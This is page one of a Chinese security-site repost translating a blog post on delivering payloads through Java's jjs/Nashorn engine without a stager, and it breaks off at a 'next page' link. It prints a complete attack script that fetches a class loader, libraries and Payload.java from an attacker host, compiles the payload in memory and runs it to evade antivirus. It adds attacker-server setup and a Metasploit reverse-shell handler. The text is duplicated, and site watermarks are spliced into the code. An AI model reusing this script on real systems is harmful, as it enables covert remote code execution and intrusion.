欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Java传输器之无招胜有招

来源: 作者: 时间:2019-02-24 21:17 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

前段时间在网上读了一篇有关java传输器的博客Java Stager without the Stager。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload,由于该利用程序不含恶意代码因此免疫大部分杀软的查杀,又由于payload在内存中编译执行,许多实时防御系统也无法检测到。现将该文翻译如下:
最近我一直在研究java,实际上,这是本月出的第三篇博客。
博客一这篇文章里我展示了一个java传输器,用它可以下载payload,在内存中编译它并执行。
博客二 这篇文章里我介绍了利用jjs(jre环境组件,自java8引入)在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。
在本文中,我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。
缺陷分析
我们重新分析一下传输器的目标及特性:
传输器是上传到目标主机的一个执行文件或脚本。
传输器必须是正常代码以躲避杀软的粗暴分析。
传输器接着通过HTTP将实际payload下载到内存,这也是躲避杀软策略的方法。
这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》(~……~)。这段视频被一家杀毒厂商以版权问题强制临时下架,这使视频一下火了。目前已有3万2千的播放量,比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。
Nashorn Payload
我用牛逼的Nashorn引擎实现了一个和Java传输器一样的TCP反弹SHELL。老版本可以在这里看到:https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java下面是使用Nashorn的新版本:
    // 将这里改为攻击者主机地址   
    var host = "http:///";
    // 通过HTTP加载NnClassLoader
    load(host + "NnClassLoader.js");  
    // 使用NnClassLoader下载Janino和Apache的jar包
    // Obtain these Jar files and stick them in your web root
    var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
    var P = L.type('org.codehaus.janino.SimpleCompiler');
    var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
  
    // 引入我们要用的对象
    var BufferedReader = Java.type("java.io.BufferedReader");
    var InputStreamReader = Java.type("java.io.InputStreamReader");
    var StringReader = Java.type("java.io.StringReader");
    var StringBuffer = Java.type("java.lang.StringBuffer");
    var Method = Java.type("java.lang.reflect.Method");
    var URL = Java.type("java.net.URL");
    var URLConnection = Java.type("java.net.URLConnection");
    // 将java传输器版的Payload.java文件放在攻击者的web server上
      // 由这段代码下载payload
    var payloadServer = new URL(host + "Payload.java");
    var yc = payloadServer.openConnection();
    var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
    // 将代码读入内存中的字符串中
    var inputLine;
    var payloadCode = new StringBuffer();
    while ((inputLine = ins.readLine()) != null) {
       payloadCode.append(inputLine + "\n");
    }
    // 关闭输入流
    ins.close();
    print("[*] Downloaded payload");
    // 用Janino编译
    print("[*] Compiling ....");
    var compiler = new SimpleCompiler();
    compiler.cook(new StringReader(payloadCode.toString()));
    var compiled = compiler.getClassLoader().loadClass("Payload") ;
    // 通过反射机制执行run方法    print("[*] Executing ....");
    var runMeth = compiled.getMethod("Run");
    // 这种方式调用的是static型的run方法
    runMeth.invoke(null);   
    print("[*] Payload, payloading ....");
但愿注解能够说清它的原理。大致过程是这样:
下载NnClassLoader.js库,它可以加载特定类。
下载必需的两个java库(janino,comons-compiler),内存编译时需要它们。
下载payload并放入内存。
在内存中编译。
用反射机制执行payload对象的run方法来触发payload
就和前面文章的过程一模一样。
准备攻击者服务器
攻击者的服务器根目录下需要反之以下文件:
1. NnClassLoader
2. janino-3.0.8.jar
3. commons-compiler-3.0.8-jar
4. Payload.java
接着你可以启动metasploit的multi/handler模块并把payload设置为”generic/shell_reverse_tcp”。
攻击目标主机
再次声明:这里只是以研究为目的的攻击。你要做的是将上述Nashorn代码拷贝并粘入目标机器的文本编辑器,接下来你要做的是:

[1] [2]  下一页

前段时间在网上读了一篇有关java传输器的博客Java Stager without the Stager。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload,由于该利用程序不含恶意代码因此免疫大部分杀软的查杀,又由于payload在内存中编译执行,许多实时防御系统也无法检测到。现将该文翻译如下:
最近我一直在研究java,实际上,这是本月出的第三篇博客。
博客一这篇文章里我展示了一个java传输器,用它可以下载payload,在内存中编译它并执行。
博客二 这篇文章里我介绍了利用jjs(jre环境组件,自java8引入)在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。
在本文中,我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。
缺陷分析
我们重新分析一下传输器的目标及特性:
传输器是上传到目标主机的一个执行文件或脚本。
传输器必须是正常代码以躲避杀软的粗暴分析。
传输器接着通过HTTP将实际payload下载到内存,这也是躲避杀软策略的方法。
这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》(~……~)。这段视频被一家杀毒厂商以版权问题强制临时下架,这使视频一下火了。目前已有3万2千的播放量,比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。 www.wnhack.com
Nashorn Payload
我用牛逼的Nashorn引擎实现了一个和Java传输器一样的TCP反弹SHELL。老版本可以在这里看到:https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java下面是使用Nashorn的新版本:
    // 将这里改为攻击者主机地址   
    var host = "http:///";
    // 通过HTTP加载NnClassLoader
    load(host + "NnClassLoader.js");  
    // 使用NnClassLoader下载Janino和Apache的jar包
    // Obtain these Jar files and stick them in your web root
    var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
    var P = L.type('org.codehaus.janino.SimpleCompiler');
    var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
  
    // 引入我们要用的对象
    var BufferedReader = Java.type("java.io.BufferedReader");

copyright 无奈人生


    var InputStreamReader = Java.type("java.io.InputStreamReader");
    var StringReader = Java.type("java.io.StringReader");
    var StringBuffer = Java.type("java.lang.StringBuffer");
    var Method = Java.type("java.lang.reflect.Method");
    var URL = Java.type("java.net.URL");
    var URLConnection = Java.type("java.net.URLConnection");
    // 将java传输器版的Payload.java文件放在攻击者的web server上
      // 由这段代码下载payload
    var payloadServer = new URL(host + "Payload.java");
    var yc = payloadServer.openConnection();
    var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
    // 将代码读入内存中的字符串中
    var inputLine;
    var payloadCode = new StringBuffer(); 内容来自无奈安全网
    while ((inputLine = ins.readLine()) != null) {
       payloadCode.append(inputLine + "\n");
    }
    // 关闭输入流
    ins.close();
    print("[*] Downloaded payload");
    // 用Janino编译
    print("[*] Compiling ....");
    var compiler = new SimpleCompiler();
    compiler.cook(new StringReader(payloadCode.toString()));
    var compiled = compiler.getClassLoader().loadClass("Payload") ;
    // 通过反射机制执行run方法    print("[*] Executing ....");
    var runMeth = compiled.getMethod("Run");
    // 这种方式调用的是static型的run方法
    runMeth.invoke(null);   
    print("[*] Payload, payloading ...."); 无奈人生安全网
但愿注解能够说清它的原理。大致过程是这样:
下载NnClassLoader.js库,它可以加载特定类。
下载必需的两个java库(janino,comons-compiler),内存编译时需要它们。
下载payload并放入内存。
在内存中编译。
用反射机制执行payload对象的run方法来触发payload
就和前面文章的过程一模一样。
准备攻击者服务器
攻击者的服务器根目录下需要反之以下文件:
1. NnClassLoader
2. janino-3.0.8.jar
3. commons-compiler-3.0.8-jar
4. Payload.java
接着你可以启动metasploit的multi/handler模块并把payload设置为”generic/shell_reverse_tcp”。
攻击目标主机
再次声明:这里只是以研究为目的的攻击。你要做的是将上述Nashorn代码拷贝并粘入目标机器的文本编辑器,接下来你要做的是:
本文来自无奈人生安全网

[1] [2]  下一页

内容来自无奈安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。